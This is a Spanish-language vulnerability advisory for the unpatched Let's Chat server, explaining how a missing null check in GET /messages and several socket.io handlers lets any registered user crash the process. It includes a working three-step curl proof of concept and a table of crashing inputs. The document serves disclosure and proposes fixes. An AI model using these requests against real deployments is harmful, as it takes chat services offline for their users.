
Aviso de Seguridad: Búsqueda de Sala sin Comprobar Provoca la Caída del Servidor (Let's Chat)
ID de CVE asignado: CVE-2026-66749
Una única solicitud HTTP desde cualquier cuenta iniciada detiene el proceso del servidor de Let's Chat.
GET /messages toma un parámetro room, busca esa sala por id y luego llama a un método sobre el resultado sin comprobar que la búsqueda haya devuelto algo. Si se envía un id que es una cadena hexadecimal válida de 24 caracteres pero que no pertenece a ninguna sala, el TypeError resultante se lanza dentro de una devolución de llamada de Mongoose. Express solo captura las excepciones que se lanzan de forma síncrona dentro de un manejador, por lo que esta llega a Node como una excepción no capturada y el proceso termina.
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable desde 0.4.0 (commit 84981a6, 21 Feb 2015, que introdujo la llamada canJoin) hasta 0.4.8, la versión final. No existe una versión corregida.
Confirmado en 0.4.8 en el commit 617207f, y en docker.io/sdelements/lets-chat:latest (0.4.7), que todavía se puede descargar públicamente.
CWE-476: Desreferencia de puntero nulo, que conduce a CWE-248 Excepción no capturada y CWE-400 Consumo de recursos no controlado.
Puntuación base CVSS 4.0: 7.1 (Alta)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
El atacante necesita una cuenta de usuario normal y acceso de red al puerto HTTP. No necesita ser propietario ni pertenecer a ninguna sala, conocer ningún id de sala existente ni tener ningún rol elevado.
El requisito de cuenta es débil en una instalación predeterminada, porque auth.local.enableRegistration tiene como valor por defecto true en defaults.yml, por lo que cualquiera que pueda acceder a la página de inicio de sesión puede crear una cuenta y luego ejecutar la solicitud.
Ni el Procfile (web: npm start) ni docker/docker-compose.yml configuran un supervisor o una política de reinicio, por lo que en una implementación estándar una sola solicitud deja el servicio fuera de servicio hasta que un operador lo reinicia. Cuando un operador ha añadido supervisión de procesos, el atacante puede simplemente repetir la solicitud.
La ruta no registra ningún middleware de validación de sala. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Compárese con app/controllers/messages.js:34-41, donde la variante con ámbito de sala sí añade middlewares.roomRoute, que resuelve la sala y devuelve 404 cuando no existe:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Así, en /messages el valor room llega al gestor sin validar.
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById invoca la devolución de llamada con (null, null) cuando el id se convierte correctamente pero no coincide con ningún documento. No hay ninguna comprobación if (!room), por lo que la línea 129 desreferencia null.
Salida observada:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Contra una instalación estándar en el puerto 5000, sin cambios de configuración:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
El paso 3 no devuelve cuerpo y curl termina con el código 52 (respuesta vacía del servidor). El proceso del servidor ha desaparecido. Cualquier id de 24 caracteres hexadecimales que no coincida con ninguna sala funciona.
express.oi registra cada clave app.io.route(...) como un manejador socket.on(...) normal (initRoutes en node_modules/express.oi/lib/index.js). Por lo tanto, un cliente socket.io autenticado puede llamar estos manejadores directamente, lo que omite la cadena de middlewares de Express, incluido roomRoute. También elimina el try/catch de Express, por lo que un lanzamiento síncrono que por HTTP sería un 500, por socket.io mata el proceso.
Cada uno de los siguientes también termina el proceso. Todos confirmados.
Protege las búsquedas. En app/core/messages.js:118 y app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 necesita el mismo tratamiento antes de llamar a sanitizeRoom, y app/core/rooms.js:248 debería rechazar un options.identifier ausente o que no sea una cadena.
Dos cambios cerrarían toda la clase en lugar de solo estas instancias. Primero, convertir y validar los parámetros de consulta que se asumen como cadenas (expand, room, id, take, skip) en el límite del controlador. Segundo, envolver el despacho de los manejadores de socket.io en un try/catch y adjuntar un manejador process.on('uncaughtException') para que una única solicitud incorrecta se degrade a una respuesta de error en lugar de detener el servidor.
| Alcanzable a través de | Entrada | Lugar del lanzamiento |
|---|
| HTTP y socket.io | messages:list, room establecido a un id inexistente | app/core/messages.js:129 |
| HTTP y socket.io | files:list, room establecido a un id inexistente | app/core/files.js:167 |
| socket.io | rooms:get con un id inexistente, o sin id | app/core/rooms.js:213 vía :234 |
| socket.io | rooms:users sin sala | app/core/rooms.js:248 |
| socket.io | rooms:join sin id | app/core/rooms.js:248 |
| socket.io | messages:list con expand como un array | app/core/messages.js:97 |
| socket.io | files:list con expand como un array | app/core/files.js:139 |
| socket.io | users:get con id como un objeto | app/models/user.js:139 |